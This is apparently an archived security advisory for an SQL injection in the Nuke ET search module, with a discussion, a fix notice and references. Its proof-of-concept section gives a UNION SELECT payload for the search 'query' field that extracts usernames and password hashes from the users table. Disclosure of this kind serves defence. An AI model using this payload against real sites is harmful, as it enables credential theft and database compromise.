Tru-Zone Nuke ET Search Module SQL Injection Vulnerability
BID:15519
Info
Tru-Zone Nuke ET Search Module SQL Injection Vulnerability
| Bugtraq ID: | 15519 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 21 2005 12:00AM |
| Updated: | Nov 21 2005 12:00AM |
| Credit: | Lostmon <[email protected]> is credited with the discovery of this vulnerability. |
| Vulnerable: |
Tru-Zone NukeET 3.2 Tru-Zone NukeET 3.1 Tru-Zone NukeET 3.0 |
| Not Vulnerable: | |
Discussion
Tru-Zone Nuke ET Search Module SQL Injection Vulnerability
Nuke ET is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Nuke ET is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Exploit / POC
Tru-Zone Nuke ET Search Module SQL Injection Vulnerability
No exploit is required.
The following proof of concept is available:
Insert the following into the 'query' field of http://www.example.com/modules.php?name=Search:
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*
No exploit is required.
The following proof of concept is available:
Insert the following into the 'query' field of http://www.example.com/modules.php?name=Search:
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*
Solution / Fix
Tru-Zone Nuke ET Search Module SQL Injection Vulnerability
Solution:
The vendor has released a fix to address this issue. Users are advised to contact the vendor for further information.
Solution:
The vendor has released a fix to address this issue. Users are advised to contact the vendor for further information.
References
Tru-Zone Nuke ET Search Module SQL Injection Vulnerability
References:
References:
- Nuke ET 'search' module 'query' variable SQL injection (Lostmon)
- Vendor Homepage (Tru-Zone)